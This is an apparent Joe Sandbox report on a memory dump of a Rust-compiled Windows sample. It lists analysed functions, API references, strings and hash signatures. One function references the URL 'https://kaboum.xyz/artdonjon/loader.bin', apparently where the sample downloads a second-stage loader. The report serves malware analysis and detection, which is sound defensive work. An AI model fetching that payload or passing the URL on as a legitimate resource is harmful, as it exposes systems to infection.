Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: XN--$internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs
API String ID: 3510742995-4213088119
Opcode ID: 744e2bf7b09450166f9714828899c1b36864a2b234731ab625ccce7af84c8836
Instruction ID: 587dbcb70d24361753a4b49f4c980977ba40e6aaf7c936dfb2bdd0c774d29688
Opcode Fuzzy Hash: 744e2bf7b09450166f9714828899c1b36864a2b234731ab625ccce7af84c8836
Instruction Fuzzy Hash: DFE2B4B2A0C6C181EB749B15E844BEAE7A1FF86B84F804131DA8D47B99DF7CD585CB10

Function 00007FF70FAF4A28 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 00007FF70FAF4AA2

Strings

CCG , xrefs: 00007FF70FAF4A45

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: signal
String ID: CCG
API String ID: 1946981877-1584390748
Opcode ID: b961ebee2542cb72e471b918fb0c62467acb9de9a3c9769b2544126fbbe5e1ff
Instruction ID: a52465aee186ef03f827450b867dbd0971f214a74992408b51d3f64301ca6bd6
Opcode Fuzzy Hash: b961ebee2542cb72e471b918fb0c62467acb9de9a3c9769b2544126fbbe5e1ff
Instruction Fuzzy Hash: 37214890E1C58605FBA9B2A4DC507FA9181DF4F354FE88637DA2D8A3D1DF1CE8894229

Function 00007FF70FA34F60 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 267COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA35039
memcpy.MSVCRT ref: 00007FF70FA350FC

Strings

a formatting trait implementation returned an error when the underlying stream did not, xrefs: 00007FF70FA352DF
Errorcodemessage (), xrefs: 00007FF70FA35340

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: Errorcodemessage ()$a formatting trait implementation returned an error when the underlying stream did not
API String ID: 3510742995-3370816711
Opcode ID: 1747596413c1af1680237195dda937e441cf97d539cb874c020ec9b185a30517
Instruction ID: 3d6f7762a7f0a58c17c92fe758ed31c1c6fd3ba9f2f763e72634e4ba3d9393de
Opcode Fuzzy Hash: 1747596413c1af1680237195dda937e441cf97d539cb874c020ec9b185a30517
Instruction Fuzzy Hash: 71B16FA2F08A9699EB10AF65DC407EDA760FF06788F884535EE4D17B89DF38E145C350

Function 00007FF70FAEE86E Relevance: 5.8, Strings: 4, Instructions: 757COMMON

Download Yara Rule

Strings

https://kaboum.xyz/artdonjon/loader.bin, xrefs: 00007FF70FAEE870
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF70FAEF4F2
file://, xrefs: 00007FF70FAEE977, 00007FF70FAEEB36
localhost, xrefs: 00007FF70FAEED44

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID:
String ID: called `Result::unwrap()` on an `Err` value$file://$https://kaboum.xyz/artdonjon/loader.bin$localhost
API String ID: 0-3444911213
Opcode ID: 1301214722be82413e0eb60a49ae30d5aa689a155bc47c9d6264a14cf52e9425
Instruction ID: e701a44033bc00c584d992137e0e50d04588cf13d331cfb639d2048f41a47069
Opcode Fuzzy Hash: 1301214722be82413e0eb60a49ae30d5aa689a155bc47c9d6264a14cf52e9425
Instruction Fuzzy Hash: D47270A2A0C6C186E764EB16E8407EAB7A0FB89B84F848136DF8D57B55DF3CE145C710

Function 00007FF70FAD23F0 Relevance: 4.4, APIs: 3, Instructions: 629COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6bd2c70fe26db59d29e8b81e854edd99d9ffc94a8e8801fe196515acbf871f3
Instruction ID: 1d466506d99f42e63d3a11e225b5081869ada1678b84f7f1a8271af7e50dc517
Opcode Fuzzy Hash: b6bd2c70fe26db59d29e8b81e854edd99d9ffc94a8e8801fe196515acbf871f3
Instruction Fuzzy Hash: 2D52C272A14B8492DB10DF29D9446EC7364FB69B98F819722DF6E133A1EF38E195C310

Function 00007FF70FAD1040 Relevance: 4.4, APIs: 3, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc856268e51e1cccaec9e6bd2c5f2656bb83d8ec208556ecc2870ca06aa2eb94
Instruction ID: 5d743d25836f0ce35aafabec8d3569d5359f603788488e06c822ad72d601e76e
Opcode Fuzzy Hash: bc856268e51e1cccaec9e6bd2c5f2656bb83d8ec208556ecc2870ca06aa2eb94
Instruction Fuzzy Hash: 7342E4A2E08BC582E6009F6599019E9A360FF557E8B859732EE7E177D6DF38E1D08310

Function 00007FF70FAEC74A Relevance: 3.4, Strings: 2, Instructions: 862COMMON

Download Yara Rule

Strings

xn--/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/idna-1.0.3/src/uts46.rs, xrefs: 00007FF70FAED34A
a non-empty list of numbers, xrefs: 00007FF70FAED5EA

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: a non-empty list of numbers$xn--/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/idna-1.0.3/src/uts46.rs
API String ID: 3510742995-875679233
Opcode ID: 0fda923ca47f753cc65b335c0470830710b1ab6a854101801d514b4b0c7cbebd
Instruction ID: d1208e22e1ef12c379391e5c6d2142db1e9efe32722a0fdf874ed16bc7badebc
Opcode Fuzzy Hash: 0fda923ca47f753cc65b335c0470830710b1ab6a854101801d514b4b0c7cbebd
Instruction Fuzzy Hash: B082B1B2A0CAC281EA60AB11E8547EEF390FF86798F844135DA9D47B85DF7CE545C720

Function 00007FF70FAD0900 Relevance: 2.9, APIs: 2, Instructions: 441COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 250620cf9a8f0f23c830e8138dc0126adc55da9756fb95a42b9638b5a29cc058
Instruction ID: 16dd65d1b840b496ee038e71d3acffbb416ca1bdb0f7fe35f73cc7742dacff6c
Opcode Fuzzy Hash: 250620cf9a8f0f23c830e8138dc0126adc55da9756fb95a42b9638b5a29cc058
Instruction Fuzzy Hash: 4E02D2A2A0CAC585EB609F25D8587F9A351FF56BD8F848633CE5E0B798DF38D1818310

Function 00007FF70FA5CD2F Relevance: 2.9, APIs: 2, Instructions: 376COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA5CF38
memcpy.MSVCRT ref: 00007FF70FA5D0CC

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 3b578cbd6115f5f792ff14ba2cf249286ebf6a946e6f01714820f29827dc7d88
Instruction ID: 4afa9ccdde34eef3b2e8952bdcee5d30e527c8b8fb49fa38cbc257282a8793c9
Opcode Fuzzy Hash: 3b578cbd6115f5f792ff14ba2cf249286ebf6a946e6f01714820f29827dc7d88
Instruction Fuzzy Hash: 56E1D0B2A0CB8496DA109F25E900BADB760FB56FA4F944332EB6E077D5DB38D546C700

Function 00007FF70FA42D0D Relevance: 2.8, APIs: 2, Instructions: 292COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF70FA42EC5

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 04a2934240739689cd27751ed69331bc237de04272ee6051cca3c6a70141934c
Instruction ID: 038592b2417642e7b2c77c11a27ab6e52532be760d9e31199fed0826f01f79a5
Opcode Fuzzy Hash: 04a2934240739689cd27751ed69331bc237de04272ee6051cca3c6a70141934c
Instruction Fuzzy Hash: 1DB1F0A271CBC582EE10EB1998042A9A751FF8ABD0F948635EFAE47795CF7CE055C310

Function 00007FF70FAE8DEC Relevance: 2.8, APIs: 2, Instructions: 276COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FAE8EC4
memset.MSVCRT ref: 00007FF70FAE8F41

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: e732e678c65057eae3e47336463732129614fa019533ab819b4e67ac3af17d1e
Instruction ID: 0d63fbb9da8a009dcb7ef22890ab6464971ddb4f64a1cf27f17f660129b44081
Opcode Fuzzy Hash: e732e678c65057eae3e47336463732129614fa019533ab819b4e67ac3af17d1e
Instruction Fuzzy Hash: 45B10562A1CBC581EA109B29A8046BAA761FF8ABE4F844335DFAE177D5DF3CD145C310

Function 00007FF70FAC85E0 Relevance: 2.0, APIs: 1, Instructions: 768COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FAC867D

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 8a7c81408379ea0fc500ce755a84ca2c9afb348889829d1c323603e8fa8457a9
Instruction ID: b01510da170027a503a4a910a23b4b5c35dd985cd4c6dc94705bb4a4ee08a5c3
Opcode Fuzzy Hash: 8a7c81408379ea0fc500ce755a84ca2c9afb348889829d1c323603e8fa8457a9
Instruction Fuzzy Hash: C4828F72A0CAC185E7759F21DC447FA67A1FF5A788F804136DA8D0BB99CF389685C390

Function 00007FF70FA3CED0 Relevance: 1.6, APIs: 1, Instructions: 349COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00007FF70FA3CF42

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 53d16af1fd95ee0f77e398d3f75f89b2785d9d176e4e5904bf9e98886af66f4d
Instruction ID: c3c8d78183902cd2b8d14de3f81998fa088e899f39adcaa3f842870aba1b22c3
Opcode Fuzzy Hash: 53d16af1fd95ee0f77e398d3f75f89b2785d9d176e4e5904bf9e98886af66f4d
Instruction Fuzzy Hash: 53C1F3A2B2C2E982FA51DA619D14EF9A651FF12B90FC08631ED4E47BC0DF3CE5559320

Function 00007FF70FAACD40 Relevance: 1.6, Strings: 1, Instructions: 338COMMON

Download Yara Rule

Strings

http://, xrefs: 00007FF70FAACF3C

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: http://
API String ID: 3510742995-1121587658
Opcode ID: e68fb2dd8975ef18c96fc9600e8a17892787a80d2618e3a41392e8c48157c99a
Instruction ID: e920afc743dd2e13b8ee9fe3ebad56a59af5a7f4647259d3b644bac6f165c7fb
Opcode Fuzzy Hash: e68fb2dd8975ef18c96fc9600e8a17892787a80d2618e3a41392e8c48157c99a
Instruction Fuzzy Hash: 64F18362A0D6C281E631AB25A8417FAE360FF96784F849135EFCD13A55EF3CE189C750

Function 00007FF70FA38F80 Relevance: 1.5, Strings: 1, Instructions: 212COMMON

Download Yara Rule

Strings

0x0X, xrefs: 00007FF70FA390E1

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID:
String ID: 0x0X
API String ID: 0-830206304
Opcode ID: f2eb30e4ebf77c93bf2be6acbbd97bdb09128635cec6e9748f9685e7144881d4
Instruction ID: 1a7cdad79075ce3d17bb22dfe4f5de181200ffb1bd2c358735b01a35c6248041
Opcode Fuzzy Hash: f2eb30e4ebf77c93bf2be6acbbd97bdb09128635cec6e9748f9685e7144881d4
Instruction Fuzzy Hash: 308126A3B1C6E145E7709B28A400FEAA661EF56BA4F805331EB6913BD0DF6D8540C751

Function 00007FF70FAF2B60 Relevance: 1.4, APIs: 1, Instructions: 167COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FAF2D32

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 912a7b8a29dd05bf6ef3d1b0dabfe5694d6f2a7f848ea3ce629f049550734314
Instruction ID: 21de4970f017fbb9236b665dacb6880ed9da7d077de2106058876c1240e1289b
Opcode Fuzzy Hash: 912a7b8a29dd05bf6ef3d1b0dabfe5694d6f2a7f848ea3ce629f049550734314
Instruction Fuzzy Hash: 2E513AA3A1C68546F724AA55D8117FBAB90FB467D8F804136EE8E0BB89CF3CC585D710

Function 00007FF70FAE0867 Relevance: 1.4, APIs: 1, Instructions: 149COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FAE0A21

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: ef40ac62d3fa08eec55cff0dde1b8142a58e95e2f84b32c7c2cfe882b2e0e524
Instruction ID: c8721f1c6950ce3890b77a4cc5579d38818d1ad37e1b317b3f5ae27f30b8c5df
Opcode Fuzzy Hash: ef40ac62d3fa08eec55cff0dde1b8142a58e95e2f84b32c7c2cfe882b2e0e524
Instruction Fuzzy Hash: 31516993A1D6824AFB2466159C103FBA751EB4A7DCF849234EE8E077CACBBCD245C354

Function 00007FF70FACEB10 Relevance: .7, Instructions: 674COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bcb70b79fd1e7a33709cf155c689d705bba52415b6787394a4a9bc8aa5a0ff5
Instruction ID: 6b168817525cc58a0aa7b1b529edb464b2446bf11a7ec17e8d2346e98ed98e26
Opcode Fuzzy Hash: 6bcb70b79fd1e7a33709cf155c689d705bba52415b6787394a4a9bc8aa5a0ff5
Instruction Fuzzy Hash: B1726AB2608BC589D7719F25D840BE977A5FB4AB88F504136DE9D0BB88CF38D650C3A0

Function 00007FF70FACAC00 Relevance: .6, Instructions: 606COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c86eac3f9a3cd28297eda1cd1bf98a298b6d3cf37cb647b1a03d5b12f5bc89f
Instruction ID: 5c530f3e968e632e7f3887e7e494aaeb334c40e52c27dbffaf9ffc6218218451
Opcode Fuzzy Hash: 2c86eac3f9a3cd28297eda1cd1bf98a298b6d3cf37cb647b1a03d5b12f5bc89f
Instruction Fuzzy Hash: 2542B8B2B08A948AE700DBA4E8547AD73B0FB4578CF600939CE5E97B84CF79D145C3A0

Function 00007FF70FABC8D0 Relevance: .3, Instructions: 340COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54503768fb905f2f6034a011c3bfc2def3367f475d2d0020e72fd290db11c7d6
Instruction ID: 9c374ef8d24942cbf82fc3367a1c2c566e09446f298ba4f07b20efbf510c4d69
Opcode Fuzzy Hash: 54503768fb905f2f6034a011c3bfc2def3367f475d2d0020e72fd290db11c7d6
